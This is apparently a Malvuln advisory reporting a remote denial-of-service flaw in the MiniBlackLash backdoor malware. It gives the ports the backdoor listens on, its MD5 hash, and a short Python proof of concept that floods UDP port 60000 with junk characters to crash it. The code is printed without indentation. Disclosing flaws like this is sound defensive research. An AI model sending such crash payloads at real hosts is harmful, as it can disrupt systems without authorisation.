Backdoor.Win32.MiniBlackLash Denial Of Service

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/57dee3430d4531a2699f6520819a2ece.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.MiniBlackLash  
Vulnerability: Remote DoS  
Description: MiniBlackLash listens on both TCP port 6711 and UDP port 60000. Sending a large HTTP request string of junk chars to UDP port 60000 will crash this backdoor.  
Type: PE32  
MD5: 57dee3430d4531a2699f6520819a2ece  
Vuln ID: MVID-2021-0060  
Disclosure: 01/28/2021  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=60000  
  
def doit():  
s=socket(AF_INET, SOCK_DGRAM)   
s.connect((MALWARE_HOST, PORT))  
  
PBARBAR="A"*10000+" HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"  
s.send(PBARBAR)  
s.close()  
  
print("Backdoor.Win32.MiniBlackLash / Remote DoS");  
print("MD5: 57dee3430d4531a2699f6520819a2ece");  
print("By Malvuln");  
  
  
if __name__=="__main__":  
doit()  
  
  
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`